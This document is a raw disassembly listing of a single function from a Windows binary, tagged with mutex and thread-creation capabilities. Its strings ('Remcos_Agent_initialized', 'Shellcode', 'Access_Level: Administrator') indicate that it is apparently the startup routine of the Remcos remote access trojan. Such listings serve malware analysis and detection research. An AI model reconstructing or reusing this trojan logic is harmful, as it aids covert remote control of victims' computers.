Function at 0x1000c886
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xfc
mov dword [0x1006cd1c], ecx
push ebx
push esi
push edi
call fcn.10018c93
lea ecx, [esp + 0x40]
call fcn.1000ce99
sub esp, 0x18
mov ecx, esp
push 0x1006f280
call fcn.10002105
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.10002105
lea ecx, [esp + 0x58]
call fcn.1001809f
add esp, 0x30
push eax
call fcn.1000d2ea
lea ecx, [esp + 0x28]
call fcn.10001e8d
xor al, al
cmp al, 0x2d
jne 0x1000c93f
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x68]
call fcn.1000d390
push 0x34
mov ecx, 0x1006f004
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.1000e70e
lea ecx, [esp + 0x58]
call fcn.1000d341
lea ecx, [esp + 0x58]
call fcn.1000ce86
lea ecx, [esp + 0x40]
call fcn.10001fe0
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret 8
mov esi, 0x1006f004
push 3
mov ecx, esi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push 0x10060738
push 0xe
mov ecx, esi
cmp byte [eax], 0
setne byte [0x1006cd1a]
call fcn.10001e62
push eax
mov edx, str.Software_
lea ecx, [esp + 0x18]
call fcn.10005429
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.10008154
pop ecx
push eax
mov ecx, 0x1006f208
call fcn.10001fea
lea ecx, [esp + 0x28]
call fcn.10001fe0
lea ecx, [esp + 0x10]
call fcn.10001fe0
push 0xe
mov ecx, esi
call fcn.10001e62
mov ebx, 0x1006f238
push eax
mov ecx, ebx
call fcn.10001fc6
mov edi, 0x1006f298
push 0x100613d0
mov ecx, edi
call fcn.10005bd1
push 6
mov ecx, esi
call fcn.10001e62
mov edx, str.310M.
mov ecx, eax
call fcn.10005c35
test al, al
je 0x1000c9f1
push str.Shellcode
mov ecx, edi
call fcn.10005bd1
mov ecx, ebx
call fcn.10001fae
push eax
push 1
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000c92a
mov eax, dword [0x1006eaa0]
test eax, eax
je 0x1000ca20
call eax
push 0x104
mov edi, 0x1006cb10
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.10017733
mov eax, dword [0x1006eaa8]
test eax, eax
je 0x1000ca47
call eax
mov dword [0x1006b9d0], eax
push 0x27
mov ecx, esi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
cmp byte [eax], bl
je 0x1000ca60
call fcn.1000d289
push 0xb
mov ecx, esi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push eax
mov ecx, 0x1006f1d8
call fcn.10007fd2
push 4
mov ecx, esi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push 5
mov ecx, esi
cmp byte [eax], bl
setne byte [0x1006cd1b]
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push 8
mov ecx, esi
cmp byte [eax], bl
setne byte [0x1006cd18]
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push 3
mov ecx, esi
cmp byte [eax], bl
setne byte [0x1006cd19]
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
cmp byte [eax], bl
je 0x1000cb49
push 0x30
mov ecx, esi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x1000caed
sub eax, edx
sar eax, 1
je 0x1000cb49
push 9
mov ecx, esi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push 0x30
mov ecx, 0x1006f004
mov esi, eax
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
mov dl, byte [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.1000b9d0
pop ecx
push eax
mov ecx, 0x1006f220
call fcn.10001f13
lea ecx, [esp + 0x10]
call fcn.10001f09
mov esi, 0x1006f004
push edi
mov ecx, 0x1006f1f0
call fcn.10007fd2
push 1
push 0x34
mov ecx, esi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
sub esp, 0x18
mov ecx, esp
push eax
call fcn.1000209d
push str.licence
mov ecx, 0x1006f208
call fcn.10001fae
mov edx, eax
call fcn.10010720
add esp, 0x20
mov ecx, esi
push 0x28
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push eax
call fcn.10037404
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [0x1006cd20], al
pop ecx
cmp al, 2
jne 0x1000cbb4
mov cl, 1
jmp 0x1000cbba
cmp al, 1
jne 0x1000cbcb
xor cl, cl
call fcn.10018e1d
push ebx
push ebx
push ebx
push 0x10019616
push ebx
push ebx
call edi
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.1000209d
sub esp, 0x18
mov ecx, esp
push 0x10060624
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
mov ecx, esi
push 0x37
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push 0x10
mov ecx, esi
mov bl, byte [eax]
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push 0xf
mov ecx, esi
mov al, byte [eax]
mov dword [esp + 0x10], eax
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
test bl, bl
mov esi, eax
mov ebx, 0x1006f004
setne cl
movzx ecx, cl
push ecx
push 0x36
mov ecx, ebx
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push eax
call fcn.10037404
pop ecx
push eax
push 0x11
mov ecx, ebx
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push eax
push 0x31
mov ecx, ebx
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push eax
push dword [esp + 0x1c]
movzx eax, byte [esi]
push eax
call fcn.10008f40
push 0x14
mov ecx, ebx
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
cmp byte [eax], 1
jne 0x1000cccc
push 2
call fcn.1002fd3d
mov esi, eax
xor ebx, ebx
pop ecx
push 0x35
mov ecx, 0x1006f004
mov byte [esi], bl
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push ebx
push ebx
push esi
cmp byte [eax], bl
push 0x10016432
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
jmp 0x1000ccce
xor ebx, ebx
mov esi, 0x1006f004
push 0x16
mov ecx, esi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
cmp byte [eax], 1
jne 0x1000cd22
push 2
call fcn.1002fd3d
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x1006f004
mov byte [esi], 1
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push ebx
push ebx
push esi
cmp byte [eax], 0
push 0x10016432
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
mov esi, 0x1006f004
push 0x23
mov ecx, esi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
cmp byte [eax], 1
jne 0x1000cd95
push 0x25
mov ecx, esi
mov byte [0x1006ca85], 1
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push 0x26
mov ecx, 0x1006f004
mov esi, eax
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
mov dl, byte [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.1000b984
pop ecx
push eax
mov ecx, 0x1006ed04
call fcn.10001f13
lea ecx, [esp + 0x10]
call fcn.10001f09
push ebx
push ebx
push ebx
push 0x10001be6
push ebx
push ebx
call edi
mov esi, 0x1006f004
push 0x2b
mov ecx, esi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
cmp byte [eax], 1
jne 0x1000cde3
push 0x2c
mov ecx, esi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push 0x2d
mov ecx, 0x1006f004
mov esi, eax
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push eax
call fcn.10037404
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.1000b112
lea ecx, [esp + 0x10]
call fcn.10017a7a
push eax
mov ecx, 0x1006f268
call fcn.10001f13
lea ecx, [esp + 0x10]
call fcn.10001f09
mov eax, dword [0x1006eaa4]
test eax, eax
je 0x1000ce0c
push ebx
call eax
push ebx
push ebx
push ebx
push 0x1000cf4d
push ebx
push ebx
call edi
cmp byte [0x1006cd23], 0
je 0x1000ce2d
push ebx
push ebx
push ebx
push 0x1000f8f6
push ebx
push ebx
call edi
mov eax, dword [0x1006b9d0]
sub eax, ebx
je 0x1000ce42
sub eax, 1
jne 0x1000ce80
push str.Administrator
jmp 0x1000ce47
push str.User
lea ecx, [esp + 0x14]
call fcn.1000209d
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.10005405
sub esp, 0x14
mov ecx, esp
push 0x10060624
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
lea ecx, [esp + 0x10]
call fcn.10001fe0
call fcn.10011eaf
int3